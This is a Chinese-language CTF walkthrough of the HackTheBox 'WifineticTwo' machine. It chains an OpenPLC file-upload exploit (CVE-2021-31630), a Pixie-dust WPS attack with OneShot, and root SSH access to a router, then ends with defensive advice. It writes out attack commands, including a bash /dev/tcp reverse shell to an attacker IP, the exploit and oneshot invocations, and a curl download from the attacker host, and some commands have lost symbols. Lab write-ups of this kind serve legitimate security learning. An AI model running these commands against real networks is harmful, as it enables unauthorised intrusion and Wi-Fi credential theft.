从WPS漏洞到内网渗透:Pixie-dust攻击实战与防御解析

从WPS漏洞到内网渗透:Pixie-dust攻击实战与防御解析 1. 项目概述一次针对WPS漏洞的实战渗透如果你对无线安全感兴趣或者正在学习渗透测试那么“Pixie-dust attack”这个名词你一定不陌生。这是一种针对Wi-Fi保护设置WPS协议的经典离线攻击手法能够绕过常规的在线暴力破解直接利用路由器芯片在生成随机数nonce时的缺陷离线计算出WPS PIN进而推导出Wi-Fi密码。这次我们结合HackTheBoxHTB平台上的“WifineticTwo”靶机来一次从理论到实战的完整复现。这不仅仅是一次CTF解题更是一次对真实世界无线网络脆弱性的深度探索。整个过程涉及Web应用漏洞利用、无线网络攻击、系统服务配置等多个层面非常适合想要提升综合渗透能力的朋友。简单来说我们的目标是首先通过靶机暴露的Web服务OpenPLC漏洞获取一个初始立足点Shell然后在目标系统内部利用其无线网卡对目标Wi-Fi网络发起Pixie-dust攻击获取WPA预共享密钥PSK最后使用获得的密钥连接到目标Wi-Fi网络并进一步渗透到路由器管理后台最终拿到最高权限。整个过程环环相扣每一步都充满了技术细节和“踩坑”的可能。接下来我将带你一步步拆解不仅告诉你“怎么做”更会深入解释“为什么这么做”并分享我在复现过程中遇到的各种问题及解决方案。2. 核心攻击链与思路拆解2.1 攻击路径全景图面对“WifineticTwo”这样的靶机我们不能盲目操作。首先需要理清整体的攻击脉络。靶机通常模拟一个复杂的网络环境我们的入口往往是一个暴露在公网的服务。根据提供的资料靶机IP为10.10.11.7开放了8080和22端口。8080端口运行着OpenPLC这是一个工业控制系统ICS的Web界面而22端口是SSH通常是我们最终要攻破或利用的通道。攻击链可以清晰地分为三个阶段初始访问利用OpenPLC的已知漏洞CVE-2021-31630获取一个反向Shell从而在目标服务器上执行命令。内部横向移动与信息收集获得Shell后我们需要在目标系统内部进行侦察。关键目标是确认系统是否配备了无线网卡wlan0接口并探测周围可用的Wi-Fi网络特别是开启了WPS功能的目标网络。权限提升与最终目标利用目标系统上的无线网卡对探测到的目标Wi-Fi发起Pixie-dust攻击离线破解出WPS PIN和WPA PSK。使用PSK连接到该Wi-Fi网络后我们便进入了目标的内网环境。通常路由器的管理界面位于192.168.1.1或192.168.0.1这类私有地址。尝试使用默认或弱口令或利用其他漏洞登录路由器管理后台最终获取root.txt标志文件。这个攻击链的精妙之处在于它巧妙地利用了目标系统本身的硬件无线网卡作为攻击跳板实现了从外网到内网再到核心网络设备的纵深渗透。2.2 为什么选择Pixie-dust攻击在无线攻击中获取Wi-Fi密码的方法有很多比如捕获握手包后离线暴力破解使用hashcat或aircrack-ng或者针对WPA3的降级攻击等。那么为什么在这个场景下Pixie-dust攻击是更优甚至唯一可行的选择核心原因在于离线性和确定性。传统的WPA/WPA2 PSK暴力破解需要先捕获到客户端与AP接入点即路由器的完整四次握手包。即使抓到了包破解速度也完全取决于密码字典的强度和计算资源面对一个复杂的密码可能耗时极长甚至不可行。而Pixie-dust攻击针对的是WPS协议。WPS本意是让用户通过按一下路由器上的按钮或输入一个8位数的PIN码来简化连接。问题出在这个8位PIN码的验证过程中AP路由器需要向客户端比如我们的攻击工具发送两个随机数E-S1和E-S2。在一些路由器的实现中这些随机数nonce并非真正的“随机”而是由伪随机数生成器PRNG产生的且熵随机性不足。攻击者通过监听或触发WPS交换过程可以获取到这些随机数。一旦获取了E-S1和E-S2结合其他一些在交换中可获取的公开数据如AP的MAC地址、客户端的MAC地址等攻击就可以在完全离线的环境下尝试所有可能的1万种PIN码0000-9999实际上因为校验位规则有效尝试更少并验证哪个PIN码能生成匹配的E-S1/E-S2。由于计算量很小这个过程在普通电脑上瞬间即可完成。破解出PIN码后就可以直接推导出WPA PSK无需任何在线猜测。因此在目标Wi-Fi开启了WPS功能的前提下Pixie-dust攻击的成功率极高且速度极快。这正是我们在此次渗透中选择它的根本原因。当然它的前提条件是目标AP的WPS功能必须开启且其芯片的随机数生成存在漏洞。幸运的是历史上大量路由器都受此影响。3. 环境准备与工具解析3.1 攻击机环境搭建工欲善其事必先利其器。我们首先需要在自己的攻击机上准备好所有工具。推荐使用Kali Linux或Parrot OS这类渗透测试专用系统它们已经预装了大部分所需工具。核心工具清单Python3 Requests库用于运行针对OpenPLC的漏洞利用脚本。Netcat (nc)用于监听反向Shell连接。OneShot这是我们的主角一个用C语言编写的、专门用于实施Pixie-dust攻击的工具。它集成了探测、攻击、计算于一体非常高效。我们需要从GitHub克隆并编译它。Curl / Wget用于在靶机Shell中下载工具。SSH客户端用于最终连接路由器。OneShot的编译与准备OneShot的源代码托管在GitHub。我们需要先将其下载到攻击机并进行交叉编译因为靶机可能是不同架构或者直接编译成可在靶机上运行的二进制文件。通常靶机是x86或x86_64架构的Linux所以我们可以在攻击机上直接编译。# 在攻击机上操作 git clone https://github.com/nikita-yfh/OneShot-C.git cd OneShot-C make编译成功后会生成一个名为oneshot的二进制文件。我们需要将这个文件传输到获得Shell的靶机上。在实战中靶机可能没有wget但通常有curl。我们可以在攻击机上启动一个简单的HTTP服务来提供下载。# 在攻击机上的oneshot所在目录启动HTTP服务 python3 -m http.server 8080这样在靶机的Shell中就可以使用curl -O http://攻击机IP:8080/oneshot来下载文件了。3.2 靶机信息初步探测在真正开始攻击前我们需要对靶机有一个基本的了解。使用Nmap进行端口扫描是第一步nmap -sV -sC 10.10.11.7扫描结果会确认8080端口运行着HTTP服务很可能就是OpenPLC的Web界面。22端口是SSH服务。我们可以先访问http://10.10.11.7:8080看看是否能直接看到OpenPLC的登录页面。根据资料其默认凭证是openplc:openplc这是一个非常重要的信息点。同时我们也应该关注靶机可能存在的其他服务或信息泄露但根据题目描述核心突破口就是OpenPLC。因此我们的第一步就是利用其漏洞获取Shell。4. 第一阶段利用OpenPLC漏洞获取初始Shell4.1 漏洞原理浅析CVE-2021-31630OpenPLC是一个开源的PLC运行时和编辑器。CVE-2021-31630是一个文件上传漏洞存在于其“硬件层”配置功能中。攻击者可以通过上传特制的“硬件层”文件本质上是C代码诱使OpenPLC在编译和运行时执行其中的恶意代码。简单来说OpenPLC允许用户上传自定义的硬件驱动代码。这部分代码会被编译并链接到PLC运行时中。如果攻击者上传的代码包含了系统命令执行如通过system()或exec()家族函数或反向Shell的代码那么当PLC程序启动时这段恶意代码就会以OpenPLC进程的权限通常是root或高权限用户执行。提供的漏洞利用脚本exploit.py正是利用了这一点。它首先使用默认凭证登录OpenPLC然后构造一个特殊的HTTP POST请求上传一个恶意的“硬件层”C代码文件。这个C代码的功能是创建一个反向TCP连接连接到攻击者指定的IP和端口。4.2 漏洞利用实操与细节让我们一步步拆解利用过程步骤1准备监听器在攻击机上我们需要先开启一个Netcat监听器等待靶机反向连接。nc -lvnp 12345这里使用-l监听-v详细输出-n不解析域名-p指定端口12345。步骤2运行漏洞利用脚本将提供的exploit.py脚本保存到攻击机。仔细阅读脚本它需要几个参数-ip: 攻击机的IP地址即运行Netcat监听器的IP。-p: 攻击机监听的端口。-u: OpenPLC的用户名默认为openplc。-pwd: OpenPLC的密码默认为openplc。运行命令如下python3 exploit.py -ip 10.10.16.2 -p 12345 -u openplc -pwd openplc请将10.10.16.2替换为你攻击机的真实IP在HTB环境中通常是你的Tun0接口IP。步骤3理解脚本执行流程登录脚本会向http://10.10.11.7:8080/login发送POST请求使用提供的凭证进行登录。上传恶意硬件层登录成功后脚本会向/hardware端点发送一个复杂的multipart/form-data请求。这个请求的body中包含了一段恶意的C代码即uploadRQ变量。这段代码的核心是updateCustomOut()函数它使用socket、connect、dup2和execvp系统调用建立一个到攻击机的TCP连接并将标准输入、输出、错误都重定向到这个socket最后启动一个bashshell。这就构成了一个完整的反向Shell。触发编译与执行上传后脚本会模拟用户点击“编译”和“启动PLC”的操作通过访问/compile-program和/start_plc等端点触发OpenPLC编译并运行刚刚上传的恶意代码。等待连接一旦PLC运行时加载并执行了恶意代码反向Shell就会建立。此时你的Netcat监听器会接收到连接并获得一个在靶机上运行的Shell。注意事项与踩坑点网络连通性确保你的攻击机VPN IP与靶机10.10.11.7是直接连通的。在HTB中你需要先连接到他们的VPN。防火墙与杀软真实环境中靶机可能有防火墙阻止出站连接或者有安全软件拦截可疑进程。但在CTF环境中通常不会设置这些障碍。脚本依赖确保攻击机安装了Python3和requests库。如果没有使用pip3 install requests安装。监听端口冲突确保你选择的监听端口如12345没有被其他程序占用。Shell稳定性获得的这个反向Shell可能不太稳定例如没有完整的TTY。为了进行后续复杂的操作如运行oneshot我们通常需要将其升级为一个更稳定的Shell。可以使用以下命令# 在获得的初始Shell中执行 python3 -c import pty; pty.spawn(/bin/bash)或者script /dev/null -c bash然后按CtrlZ挂起在攻击机终端输入stty raw -echo; fg最后在Shell中输入export TERMxterm。成功获得Shell后我们就完成了至关重要的第一步在目标系统内部建立了据点。5. 第二阶段内部侦察与无线环境探测5.1 系统信息枚举拿到Shell后第一件事就是了解我们所在的环境。执行一些基本命令whoami id uname -a cat /etc/os-release这些命令告诉我们当前用户是谁、有什么权限、系统内核版本和发行版信息。根据资料我们直接拿到了Shell但需要确认权限。在CTF中初始Shell可能是低权限用户但OpenPLC漏洞有时能直接获取root权限。如果是普通用户我们可能还需要进行本地提权但在此次任务中后续操作似乎不需要太高权限运行oneshot和配置网络连接。5.2 确认无线网卡与网络接口这是关键一步。我们需要确认靶机是否有无线网卡并且是否处于可用的状态。ifconfig # 或者使用 ip 命令 ip a在输出中我们需要寻找类似wlan0、wlp2s0这样的无线网络接口。根据资料靶机上存在wlan0接口。如果看不到无线接口可能是驱动未加载或网卡被禁用。可以尝试以下命令# 查看所有网络接口包括未启用的 ip link show # 查看PCI/USB设备寻找无线网卡 lspci | grep -i network lsusb如果发现了无线网卡但接口未启用可以尝试使用ip link set wlan0 up来启用它。5.3 扫描周围的Wi-Fi网络确认无线接口可用后我们就可以扫描周围的Wi-Fi网络了。Linux下常用的工具是iwlist或iw。但为了后续攻击我们直接使用即将用到的oneshot工具进行扫描因为它能同时识别支持WPS的网络。 首先我们需要将之前编译好的oneshot二进制文件传输到靶机。在攻击机开启HTTP服务后在靶机Shell中执行# 在靶机Shell中操作 cd /tmp # 通常/tmp目录可写 curl -O http://攻击机IP:8080/oneshot chmod x oneshot赋予执行权限后运行以下命令进行扫描./oneshot -i -K-i参数通常用于交互式模式。-K参数用于列出所有探测到的、支持WPS的Wi-Fi网络Access Points。命令执行后会输出一个列表显示附近所有开启WPS的AP信息包括BSSIDAP的MAC地址如AA:BB:CC:DD:EE:FF。Channel工作信道。RSSI信号强度。ESSIDWi-Fi网络名称SSID。WPS Locked?WPS是否被锁定如果显示No则攻击成功率更高。从列表中选择我们的目标网络。在HTB的“WifineticTwo”场景中目标网络应该就是我们需要破解的那个。记下它的BSSID和ESSID。6. 第三阶段实施Pixie-dust攻击破解WPS PIN6.1 OneShot攻击命令详解锁定目标AP后我们就可以发起Pixie-dust攻击了。使用以下命令./oneshot -i wlan0 -b 目标AP的BSSID -K-i wlan0指定使用的无线网络接口。-b AA:BB:CC:DD:EE:FF指定目标AP的BSSIDMAC地址。-K执行Pixie-dust攻击。执行这个命令后oneshot会做以下几件事监听与触发它会将网卡设置为监听模式monitor mode监听目标信道并尝试与目标AP发起WPS交换流程。这个过程可能会发送一系列探测和认证帧。捕获Nonce在WPS交换过程中如果目标AP存在漏洞oneshot将能够捕获到关键的E-S1和E-S2随机数nonce。离线计算一旦捕获到nonceoneshot会立即在本地离线计算所有可能的WPS PIN0000-9999并与捕获到的nonce进行验证。由于计算量很小这个过程通常在一两秒内完成。输出结果如果成功oneshot会直接打印出破解出的WPS PIN和由此推导出的WPA PSK即Wi-Fi密码。这是一个激动人心的时刻。如果攻击成功你将直接看到明文的Wi-Fi密码。请务必妥善记录下这两个关键信息ESSID (网络名称)和PSK (密码)。实操心得与常见问题网卡兼容性与监听模式并非所有无线网卡都支持监听模式Monitor Mode和数据包注入。在靶机环境中网卡通常是兼容的。如果在自己的物理机或虚拟机上测试可能需要特定的外置网卡如Alfa AWUS036ACH。信号强度确保靶机与目标AP之间有较好的信号强度RSSI值不能太低最好大于-70dBm。信号太差可能导致无法完成WPS握手。WPS锁定状态如果AP的WPS功能被临时锁定通常是因为多次尝试失败攻击将无法进行。你需要等待锁定解除可能是几分钟到几小时。在oneshot的输出中会显示锁定状态。依赖库oneshot可能需要一些系统库如libpcap、openssl。如果靶机缺少可能需要手动安装。在基于Debian/Ubuntu的系统上可以尝试apt-get install libpcap-dev libssl-dev。6.2 攻击成功后的关键验证拿到PSK后不要急于连接。可以先在攻击机上用这个密码尝试连接一下如果你攻击机的无线网卡能搜到同一个网络或者使用aircrack-ng验证一下密码是否正确如果你之前捕获过该网络的握手包。但在靶机环境里我们通常直接进行下一步——配置连接。7. 第四阶段连接目标Wi-Fi与内网渗透7.1 配置wpa_supplicant连接Wi-Fi现在我们已经在靶机Shell里并且拥有了目标Wi-Fi的SSID和PSK。接下来需要配置系统连接到这个Wi-Fi网络。在Linux中管理Wi-Fi连接的一个常用工具是wpa_supplicant。步骤1创建wpa_supplicant配置文件我们需要创建一个配置文件告诉系统如何连接目标网络。# 在靶机上操作 mkdir -p /etc/wpa_supplicant cat /etc/wpa_supplicant/wpa_supplicant-wlan0.conf EOF ctrl_interface/var/run/wpa_supplicant ctrl_interface_group0 update_config1 network{ ssid你的目标Wi-Fi名称 psk你刚破解出来的WPA PSK密码 key_mgmtWPA-PSK protoWPA2 pairwiseCCMP TKIP groupCCMP TKIP scan_ssid1 } EOF请务必将ssid和psk的值替换成实际内容。scan_ssid1对于隐藏网络不广播SSID是必要的即使目标网络不是隐藏的加上也无妨。步骤2配置systemd-networkd如果系统使用它现代Linux发行版常使用systemd-networkd来管理网络。我们需要为wlan0接口创建一个网络配置文件。cat /etc/systemd/network/25-wlan.network EOF [Match] Namewlan0 [Network] DHCPipv4 EOF这个配置告诉systemd对于名为wlan0的接口使用DHCPv4自动获取IP地址。步骤3启用并启动服务现在启用wpa_supplicant服务专门为wlan0接口服务并重启网络相关服务。systemctl enable wpa_supplicantwlan0.service systemctl restart systemd-networkd.service systemctl restart wpa_supplicantwlan0.servicesystemctl enable设置服务开机自启。systemctl restart立即重启服务使配置生效。步骤4验证连接等待几秒钟然后检查wlan0接口是否获得了IP地址。ip a show wlan0如果看到类似inet 192.168.1.x的地址说明连接成功并且已经从目标Wi-Fi网络的DHCP服务器获取到了内网IP地址。你也可以尝试ping一下网关通常是192.168.1.1来测试连通性。ping -c 3 192.168.1.17.2 渗透路由器管理界面成功接入目标内网后我们的最终目标——路由器管理界面——就近在咫尺了。家用路由器的管理界面地址通常是192.168.1.1或192.168.0.1。我们可以尝试用SSH连接因为很多嵌入式设备如OpenWrt等路由器系统默认开启了SSH服务并且使用root用户。尝试使用SSH连接ssh root192.168.1.1根据资料描述这里可能会遇到两个错误“Pseudo-terminal will not be allocated because stdin is not a terminal.”这是因为我们在一个反向Shell中执行SSH命令这个Shell可能不是完全交互式的。SSH客户端需要分配一个伪终端PTY但当前环境不允许。主机密钥验证首次连接一个SSH服务器时客户端会询问是否信任该服务器的主机密钥。在非交互式脚本中这会阻塞进程。解决方案对于第一个问题我们可以通过SSH的-T参数来禁用伪终端分配但这样我们就无法执行交互式命令了。更好的方法是为当前Shell分配一个完整的PTY我们之前已经用python pty或script命令做过。确保你已经在稳定的TTY Shell中操作。 对于第二个问题使用-o StrictHostKeyCheckingno参数来跳过主机密钥验证。 同时为了应对可能的其他问题一个更稳妥的做法是先反弹一个新的、更稳定的Shell到我们的攻击机然后从这个新的Shell里去连接路由器。在靶机Shell中反弹一个新Shell# 在靶机Shell中向攻击机(10.10.16.2)的另一个端口(例如4444)反弹一个bash shell bash -c bash -i /dev/tcp/10.10.16.2/4444 01在攻击机上用nc -lvnp 4444监听这个新连接。获得这个新Shell后再尝试SSH连接路由器ssh -o StrictHostKeyCheckingno root192.168.1.1如果路由器SSH服务允许root登录且未设置密码或密码为空或者使用了默认密码那么你将会成功登录到路由器的Shell中。7.3 获取最终凭证与总结登录路由器后最后的任务就是寻找标志文件root.txt。通常它会在/root目录下。cat /root/root.txt成功读取到文件内容即标志着整个渗透测试流程的圆满完成。8. 技术复盘、防御与拓展思考8.1 攻击链技术要点复盘回顾整个“WifineticTwo”的渗透过程它巧妙地串联了多个安全领域的知识点Web应用安全对OpenPLC的漏洞利用CVE-2021-31630属于典型的代码注入/文件上传漏洞。防御方应确保工业控制系统ICS软件及时更新并部署在隔离的网络中。无线网络安全Pixie-dust攻击是本次的核心。它利用了WPS协议设计缺陷和硬件实现漏洞。最根本的防御措施是在路由器中永久关闭WPS功能。对于普通用户进入路由器管理后台在无线设置中找到“WPS”或“一键加密”选项将其禁用。内网横向移动利用已控主机作为跳板攻击内网其他设备路由器。这强调了网络分段和最小权限原则的重要性。即使外网服务被攻破内网核心设备也应受到额外保护如强密码、密钥认证、网络访问控制列表ACL。默认凭证与配置OpenPLC的默认密码openplc:openplc和路由器可能的空root密码都是典型的安全隐患。任何系统上线前必须修改所有默认密码。8.2 针对Pixie-dust攻击的深入防御除了关闭WPS还有其他措施可以增强无线网络安全性使用WPA3WPA3协议彻底废除了WPS并引入了更强大的加密算法SAE能够有效抵御离线字典攻击和Pixie-dust攻击。如果设备和路由器支持应优先启用WPA3。使用强密码即使WPS关闭WPA2-PSK的密码强度依然至关重要。密码应足够长建议20位以上包含大小写字母、数字和特殊符号避免使用字典词汇或常见组合。隐藏SSID网络名称这虽然不能阻止定向攻击但可以减少被普通扫描工具发现的机会增加攻击者的探测成本。MAC地址过滤只允许已知设备的MAC地址接入网络。但这可以被攻击者通过监听流量并伪造MAC地址来绕过属于一种较弱的防御手段。8.3 拓展思考与工具变种Pixie-dust攻击并非只有oneshot一个工具。另一个非常著名的工具是reaver其早期版本就支持Pixie-dust模式-K参数。此外bully也是一个高效的WPS攻击工具。这些工具的原理大同小异但在具体实现、兼容性和成功率上可能略有差异。作为安全研究人员了解多种工具的使用和原理有助于在特定环境下选择最合适的武器。最后需要强调的是本文所述技术仅用于安全研究、学习以及授权下的渗透测试。未经授权对他人网络进行攻击是违法行为。希望通过这次对“htb-WifineticTwo”靶机的深度剖析你能不仅掌握Pixie-dust攻击的实操更能理解其背后的安全原理和防御之道这才是学习的真正价值所在。在实际工作中永远是“防御”的思维要走在“攻击”的前面。